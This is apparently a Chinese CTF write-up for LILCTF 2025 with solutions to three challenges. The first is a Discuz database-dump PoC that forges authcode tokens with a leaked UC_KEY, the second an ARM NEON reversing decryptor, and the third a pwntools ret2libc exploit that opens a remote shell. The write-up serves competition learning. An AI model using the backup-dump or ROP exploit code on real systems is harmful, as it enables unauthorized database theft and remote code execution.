文章

LILCTF 2025 wp

前言

跟着队伍OTSASumuvior

打了一天这个之后还要去打SEKAI CTF

我曾有一份工作

题目描述中有备份,直接开扫,扫到了www.zip

里面是网站源码,包含一堆配置以及密钥

审计之后发现只要有UC_KEY就可以备份数据库

api/db/dbbak.php

<?php
// ...existing code...
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);

if(empty($get)) {
    exit('Invalid Request');
}
//后续没有更多验证身份的逻辑
// ...existing code...
}

if($get['method'] == 'export') {

    $db->query('SET SQL_QUOTE_SHOW_CREATE=0', 'SILENT');

    $time = date("Y-m-d H:i:s", $timestamp);

    $tables = array();
    $tables = arraykeys2(fetchtablelist($tablepre), 'Name');
//后续直接开始备份
// ...existing code...

于是可以写出poc

import requests
import hashlib
import time
import math
import base64
import urllib.parse
from xml.etree import ElementTree

TARGET_HOST = "http://challenge.xinshi.fun:47050"
UC_KEY = "N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb"
APP_TYPE = "discuzx"
API_URL = f"{TARGET_HOST}/api/db/dbbak.php"

def _authcode(string, operation='ENCODE', key=''):
    """
    authcode 函数的 Python 实现 (ENCODE 部分)
    """
    ckey_length = 4
    key = hashlib.md5(key.encode('utf-8')).hexdigest()
    keya = hashlib.md5(key[0:16].encode('utf-8')).hexdigest()
    keyb = hashlib.md5(key[16:32].encode('utf-8')).hexdigest()

    mt = '%.8f %d' % math.modf(time.time())
    keyc = hashlib.md5(mt.encode('utf-8')).hexdigest()[-ckey_length:]
    
    cryptkey = keya + hashlib.md5((keya + keyc).encode('utf-8')).hexdigest()
    key_length = len(cryptkey)

    string_to_encode = f"0000000000{hashlib.md5((string + keyb).encode('utf-8')).hexdigest()[0:16]}{string}"
    string_length = len(string_to_encode)

    result_bytes = bytearray()
    box = list(range(256))
    rndkey = [ord(cryptkey[i % key_length]) for i in range(256)]

    j = 0
    for i in range(256):
        j = (j + box[i] + rndkey[i]) % 256
        box[i], box[j] = box[j], box[i]

    a = j = 0
    for i in range(string_length):
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        box[a], box[j] = box[j], box[a]
        result_bytes.append(ord(string_to_encode[i]) ^ (box[(box[a] + box[j]) % 256]))

    encoded_result = base64.b64encode(result_bytes).replace(b'=', b'')
    return keyc + encoded_result.decode('utf-8')

def start_backup():
    print("[*] 准备开始备份数据库...")
    params_str = f"method=export&time={int(time.time())}"
    code = _authcode(params_str, 'ENCODE', UC_KEY)
    next_url = f"{API_URL}?apptype={APP_TYPE}&code={urllib.parse.quote(code)}"
    
    vol_num = 1
    while next_url:
        print(f"\n[*] 正在请求分卷 #{vol_num}...")
        print(f"    URL: {next_url}")
        
        try:
            response = requests.get(next_url, timeout=20)
            response.raise_for_status()
            root = ElementTree.fromstring(response.text)
            
            error_code = root.find('error').get('errorCode')
            error_message = root.find('error').get('errorMessage')
            
            if error_code != '0':
                if error_message == 'explor_success':
                    print("\n[+] 数据库备份成功完成!")
                    file_info = root.find('fileinfo')
                    if file_info is not None and file_info.find('file_name').text:
                         print(f"    文件名: {file_info.find('file_name').text}")
                         print(f"    下载地址: {file_info.find('file_url').text}")
                    break
                else:
                    print(f"[!] 发生错误: {error_message} (Code: {error_code})")
                    break

            file_info = root.find('fileinfo')
            file_name = file_info.find('file_name').text
            file_url = file_info.find('file_url').text
            
            print(f"[+] 分卷 {vol_num} 备份成功!")
            print(f"    文件名: {file_name}")
            print(f"    下载地址: {file_url}")
    
            next_url_node = root.find('nexturl')
            if next_url_node is not None and next_url_node.text:
                next_url = next_url_node.text
                vol_num += 1
            else:
                print("\n[+] 所有分卷备份完成!")
                next_url = None

        except requests.exceptions.RequestException as e:
            print(f"[!] 请求失败: {e}")
            break
        except ElementTree.ParseError as e:
            print(f"[!] XML 解析失败: {e}")
            print(f"    收到的内容: {response.text}")
            break

if __name__ == "__main__":
    start_backup()

在备份得到的三个分卷中搜索pre_a_flag

INSERT INTO pre_a_flag VALUES ('1',0x666c61677b746573745f666c61677d);
INSERT INTO _flag VALUES ('2',0x4c494c4354467b483476455f796f555f466f556e445f615f4a6f385f6e23573f5f4841684168617d);

arm asm

apk部分检测输入经过加密后是否等于KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S

进入加密函数逻辑

48位的flag首先分成3次进行先打乱后XOR

for ( i = 0; i <= 2; ++i )
{
  *(int8x16_t *)&v11[16 * i] = veorq_s8(vqtbl1q_s8(*(int8x16_t *)&v11[16 * i], v10), v10);
  v15 = i;
  v4 = &v15;
  v5 = vld1q_dup_s8(v4);
  v10 = veorq_s8(v10, v5);
  __android_log_print(6, "========= Error =========   ", "%s", v11);
}

其中v10是密钥,0x0D, 0x0E, 0x0F, 0x0C, 0x0B, 0x0A, 0x09, 0x08, 0x06, 0x07, 0x05, 0x04, 0x02, 0x03, 0x01, 0x00

然后位运算

    for ( j = 0; j <= 47; j += 3 )
    {
      v11[j] = ((unsigned __int8)v11[j] >> 5) | (8 * v11[j]);
      v11[j + 1] = ((unsigned __int8)v11[j + 1] >> 1) | (v11[j + 1] << 7);
      v11[j + 2] = v11[j + 2];
    }

最后进行换表base64

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/

import base64

TARGET_CIPHERTEXT = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"

CUSTOM_ALPHABET = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"
STANDARD_ALPHABET = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

def custom_base64_decode(encoded_str, custom_alphabet):
    translation_table = bytes.maketrans(custom_alphabet, STANDARD_ALPHABET)
    standard_b64_str = encoded_str.translate(translation_table)
    return base64.b64decode(standard_b64_str)

def rol(byte, count):
    return ((byte << count) | (byte >> (8 - count))) & 0xFF

def reverse_bit_operations(data):
    data_list = list(data)
    for i in range(0, len(data_list), 3):
        data_list[i] = rol(data_list[i], 5)
        data_list[i+1] = rol(data_list[i+1], 1)
    return bytes(data_list)

def xor_bytes(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])

def unshuffle(shuffled_data, key):
    original_data = bytearray(16)
    for i in range(16):
        original_data[key[i]] = shuffled_data[i]
    return bytes(original_data)

def reverse_neon_encryption(data, initial_key):
    K0 = initial_key
    K1 = K0
    K2 = xor_bytes(K0, bytes([1] * 16))
    keys = [K0, K1, K2]

    encrypted_blocks = [data[0:16], data[16:32], data[32:48]]
    decrypted_blocks = [b''] * 3
    for i in range(2, -1, -1):
        shuffled_block = xor_bytes(encrypted_blocks[i], keys[i])
        decrypted_blocks[i] = unshuffle(shuffled_block, keys[i])

    return b"".join(decrypted_blocks)

REAL_KEY = bytes([
    0x0D, 0x0E, 0x0F, 0x0C, 0x0B, 0x0A, 0x09, 0x08,
    0x06, 0x07, 0x05, 0x04, 0x02, 0x03, 0x01, 0x00
])

after_b64_decode = custom_base64_decode(TARGET_CIPHERTEXT.encode(), CUSTOM_ALPHABET)
after_bit_op_reverse = reverse_bit_operations(after_b64_decode)
final_flag = reverse_neon_encryption(after_bit_op_reverse, REAL_KEY)

print(final_flag.decode())

签到

简单的rop,先泄露puts地址计算基址然后调用system即可

from pwn import *

context.binary = elf = ELF('./pwn')
libc = ELF('./libc.so.6')
p = remote('challenge.xinshi.fun', '36781')

rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret_gadget = rop.find_gadget(['ret'])[0]

offset = 120
payload1 = flat(
    b'A' * offset,
    p64(pop_rdi),
    p64(elf.got.puts),
    p64(elf.plt.puts),
    p64(elf.symbols.main)
)

p.recvuntil(b"What's your name?\\n")
p.sendline(payload1)
leaked_puts_raw = p.recvline().strip()
leaked_puts = u64(leaked_puts_raw.ljust(8, b'\\x00'))
libc.address = leaked_puts - libc.symbols.puts
system_addr = libc.symbols.system
bin_sh_addr = next(libc.search(b'/bin/sh\\x00'))

payload2 = flat(
    b'A' * offset,
    p64(ret_gadget),
    p64(pop_rdi),
    p64(bin_sh_addr),
    p64(system_addr)
)
p.recvuntil(b"What's your name?\\n")
p.sendline(payload2)
p.interactive()

许可协议:  CC BY 4.0